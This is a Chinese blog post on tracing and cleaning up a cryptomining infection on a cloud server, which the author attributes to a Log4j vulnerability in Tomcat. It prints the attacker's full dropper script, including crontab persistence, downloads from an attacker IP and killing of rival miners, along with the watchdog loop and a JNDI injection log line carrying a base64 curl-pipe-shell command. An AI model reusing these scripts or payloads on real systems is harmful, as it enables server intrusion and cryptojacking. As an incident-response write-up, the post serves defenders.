最近收到一个阿里云安全告警,在这里写一下自己的排查思路,与大家交流一下:
安全告警邮件

查看异常情况

输入top,输入shift + P会按照cpu的使用率大小从大到小进行排序,发现有异常进程7140与7129

[root@www-site-ec-6 ]# ps -ef | grep 7140
root      7140     1  9 02:51 ?        00:40:40 /bin/sh /tmp/.mimu/apache.sh
root     30662  7140  0 09:50 ?        00:00:00 ps aux
root     30663  7140  0 09:50 ?        00:00:00 grep -v grep
root     30664  7140  0 09:50 ?        00:00:00 grep cpu-force-autoconfig
root     30665  7140  0 09:50 ?        00:00:00 awk {print $2}
root     30666  7140  0 09:50 ?        00:00:00 xargs -i kill -9 {}
root     30671  1075  0 09:50 pts/0    00:00:00 grep --color=auto 7140
[root@www-site-ec-6 ]# ps -ef | grep 7129
root      7129     1  9 02:51 ?        00:40:54 /bin/sh /tmp/.mimu/apache.sh
root      7304  7129  0 02:51 ?        00:00:01 /tmp/.mimu/kthmimu
root     10903  1075  0 09:51 pts/0    00:00:00 grep --color=auto 7129
root     10905  7129  0 09:51 ?        00:00:00 ps aux
root     10906  7129  0 09:51 ?        00:00:00 grep -v grep
root     10907  7129  0 09:51 ?        00:00:00 grep kinsing
root     10908  7129  0 09:51 ?        00:00:00 awk {print $2}
root     10909  7129  0 09:51 ?        00:00:00 /bin/sh /tmp/.mimu/apache.sh

可以确认挖坑脚本是 apache.sh
一般我们需要获取到入侵脚本看一下这个脚本操作了什么,然后把之进行反向操作即可,所以我们现在去获取到这个脚本

 /tmp/.mimu/apache.sh
[root@www-site-ec-6 ]# cd /tmp/.mimu/
[root@www-site-ec-6 .mimu]# ll
total 5808
-rw-r--r-- 1 root root    2492 Oct 18 02:51 config.json
-rwxr-xr-x 1 root root 5940672 Oct 18 02:51 kthmimu
被入侵时间是02:51

我们发现这个脚本不存在了,这个时候我们先进行一下盲查

排查

定时任务

[root@www-site-ec-6 .mimu]# crontab -l
*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh
怀疑是危险的脚本进行注释
[root@www-site-ec-6 .mimu]# crontab -e
crontab: installing new crontab
[root@www-site-ec-6 .mimu]# crontab -l
#*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh

rc.loacl

[root@www-site-ec-6 ~]# cat /etc/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.touch /var/lock/subsys/local

没有被添加开机自启动的内容

查看最近进行修改的文件

[root@www-site-ec-6 ~]# find . -type f -mtime -1 >/root/change_file_list.txt #这个是把一天修改过的内写入文件

对这个文件生成的 change_file_list.txt 文件进行查看,重点关注 02:51左右进行修改的文件,查看所有文件,我这边排查没有可疑的内容。

清理

[root@www-site-ec-6 /]# kill 7129
[root@www-site-ec-6 /]# kill 7140
[root@www-site-ec-6 tmp]# ll -a
total 40
drwxrwxrwt. 10 root root 4096 Oct 18 09:55 .
dr-xr-xr-x. 24 root root 4096 Oct 18 10:05 ..
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .font-unix
drwxr-xr-x   2 root root 4096 Jun  8 01:02 hsperfdata_root
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .ICE-unix
drwxr-xr-x   2 root root 4096 Oct 18 09:52 .mimu
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .Test-unix
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .X11-unix
drwxrwxrwt.  2 root root 4096 Oct 15  2017 .XIM-unix
[root@www-site-ec-6 tmp]# rm -rf .mimu

被侵入原因

仔细查看入侵日志

其中执行了危险命令,进行查看,获取了危险代码

#!/bin/sh
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f mysqldd
pkill -9 -f monero
pkill -9 -f kinsing
pkill -9 -f sshpass
pkill -9 -f sshexec
pkill -9 -f cnrig
pkill -f /tmp/.mimu
pkill -9 -f attack
pkill -9 -f dovecat
pkill -9 -f donate
pkill -9 -f 'scan\.log'
pkill -9 -f xmr-stak
pkill -9 -f crond64
pkill -9 -f stratum
pkill -9 -f /tmp/java
pkill -9 -f /tmp/system
pkill -9 -f excludefile
pkill -9 -f agettyd
pkill -9 -f /dev/shm
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f '\./\.'
pkill -9 -f 'xmrig'
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 '\.rsyslogds'
pkill -9 pnscan
pkill -9 masscan
pkill -9 ladaras
pkill -9 kthgado
pkill -9 kdevtmpfsi
pkill -9 solrd
pkill -9 meminitsrv
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 watchbog
pkill -9 xmrig
pkill -9 bashirc
pkill -9 zgrab
killall -9 /tmp/*
killall -9 /var/tmp/*
crontab -l | grep -e "cuRBc3hn" | grep -v grep
if [ $? -eq 0 ]; thenecho "cron good"
else(crontab -l 2>/dev/nullecho "*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh") | crontab -
fi
for i in $(ls /proc|grep '[0-9]'); doif ls -al /proc/$i 2>/dev/null|grep kthmimu 2>/dev/null; thencontinuefiif grep -a 'donate' /proc/$i/exe 1>/dev/null 2>&1; thenkill -9 $ifiif ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp"; thenkill -9 $ifi
done
ProcNumber=$(ps auxf|grep kthmimu|awk '{if($3>=70.0) print $2}')
Proc=""$ProcNumber
if [ -z "$Proc" ]
thenps auxf|grep -v grep | awk '{if($3>=70.0) print $2}'| xargs kill -9pkill -9 -f '/tmp/\.'mkdir /tmp/.mimucurl -fsSL http://61.97.188.42:8080/config.json -o /tmp/.mimu/config.jsoncurl -fsSL http://61.97.188.42:8080/x.rar -o /tmp/.mimu/kthmimucurl -fsSL http://61.97.188.42:8080/apache.sh -o /tmp/.mimu/apache.shchmod +x /tmp/.mimu/kthmimuchmod +x /tmp/.mimu/apache.shnohup /tmp/.mimu/apache.sh 1>/dev/null 2>&1 &sleep 2rm -f /tmp/.mimu/apache.sh
fi

分析问题代码,发现它确实只留下了一个定时任务,并且在最后删除了apache.sh
打开apache.sh 脚本

while true
dokillall -q -9 kdevtmpfsikillall -q -9 kinsingps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}PROC_NAME=kthmimuProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`if [ $ProcNumber -le 0 ];thennohup /tmp/.mimu/kthmimu 1>/dev/null 2>&1 &fi
done

从脚本可以看出来,我们清理没有问题的,但是需要进行检查是否有被误杀的进程。
那么这个脚本为什么会被执行,我们看看tomcat的日志

192.168.0.125 - - [18/Oct/2022:02:51:11 +0800] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D HTTP/1.0" 200 57 0.213

从这个特征可以确认漏洞原因:我们的应用存在log4j安全漏洞

liunx挖矿程序排查思路相关推荐

  1. 记:解决阿里云服务器挖矿程序恶意进程

    今天手机上午收到如下信息(出问题的服务器是平常自己用来测试的服务器,并没有设置任何防护): 解决过程: 1.登录上服务器发先服务器非常卡,直接使用top -c命令检查进程CPU的占用率,果然发现了问题 ...

  2. 记一次个人服务器被nicehash挖矿,排查挖矿程序记录

    一:早上起来,发现短信邮箱都收到阿里云提示,租赁的一台虚拟云服务器,异地登录,被植入挖矿程序的提示: 二:打开电脑,终端连接服务器,发现登录不进去,第一反应,远程连接密码被修改,登录阿里云控制台,修改 ...

  3. 一次 minerd 肉鸡木马的排查思路

    一次 minerd 肉鸡木马的排查思路 在日常使用 Linux 系统服务器时,如果系统安全维护方面做的不够规范和严谨,很容易导致主机被黑客植入恶意木马病毒被当做肉鸡.以后就是一次肉鸡木马病毒的排查过程 ...

  4. 系统运行缓慢,CPU 100%,以及Full GC次数过多问题的排查思路

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试资料 来源:http://h5ip.cn/uWWR 处理过线上问题的同学 ...

  5. 【系统缓慢、CPU 100%、频繁Full GC问题】的定位排查思路!

    作者:爱宝贝 https://my.oschina.net/zhangxufeng/blog/3017521 处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次 ...

  6. Java线上问题排查思路及Linux常用问题分析命令学习

    前言 之前线上有过一两次OOM的问题,但是每次定位问题都有点手足无措的感觉,刚好利用星期天,以测试环境为模版来学习一下Linux常用的几个排查问题的命令. 也可以帮助自己在以后的工作中快速的排查线上问 ...

  7. Linux入侵类问题排查思路

    深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...

  8. gc的原因 频繁full_系统缓慢+CPU 100%+频繁Full GC问题的定位排查思路!

    处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次数过多的问题. 当然,这些问题的最终导致的直观现象就是系统运行缓慢,并且有大量的报警. 本文主要针对系统运行缓 ...

  9. centos 7 局域网丢包排查_ethtool原理介绍和解决网卡丢包排查思路

    前言 之前记录过处理因为LVS网卡流量负载过高导致软中断发生丢包的问题,RPS和RFS网卡多队列性能调优实践,对一般人来说压力不大的情况下其实碰见的概率并不高.这次想分享的话题是比较常见服务器网卡丢包 ...

最新文章

  1. (C++) A+B 输入输出练习IV 每行的第一个数N,表示本行后面有N个数。 如果N=0时,表示输入结束,且这一行不要计算。
  2. 一句话总结英国新规:不欢迎AI专业的中国留学生、学者与研究员
  3. 《基于压缩传感的匹配追踪重建算法研究》读书笔记
  4. DNN中多任务学习概述
  5. 腐烂国度2怎么学计算机,腐烂国度2按键操作说明 腐烂国度2怎么操作
  6. python 直方图每个bin中的值_【Python数据分析】四级成绩分布 -matplotlib,xlrd 应用...
  7. windows和linux的内存管理
  8. Qt自定义QML模块
  9. 总结 贪心算法_用经典例题轻松帮你搞定贪心算法
  10. Nodejs windows的安装
  11. 一、博客首页搭建搭建《iVX低代码仿CSDN个人博客制作》
  12. 树的递归思维:自顶向下、自底向上
  13. 内存颗粒和闪存颗粒的区别_slc、mlc、tlc闪存芯片颗粒哪个好?有什么区别?
  14. CSS简单实现一个箭头
  15. 电脑系统知识:Windows原版系统与Ghost系统的区别,你知道吗?
  16. Unity Shader 表面着色器边缘光(Rim Lighting)二
  17. 基于基站定位数据的商圈分析
  18. onedrive电脑手机不同步_Win10 OneDrive 无法同步文件怎么办?一个命令搞定
  19. 电脑“C盘”快满了,怎么清理?
  20. Sony Vegas使用记录

热门文章

  1. 与科大学长孔哥哥~的交流
  2. 【YOLOv7_0.1】网络结构与源码解析
  3. ESP32通过蓝牙接收回发数据(有示例代码和步骤)
  4. 房子并发什么意思_周公解梦:梦见建房子是什么意思
  5. 《找对英语学习方法的第一本书》
  6. SMVC4: JSON文件的使用
  7. 【题】【矩阵】NKOJ 1901 喜欢奇数的面包师
  8. 内存池——第一章 几种常用的内存池技术
  9. CocosCreator之Animation动画组件
  10. DaVinci:调整大小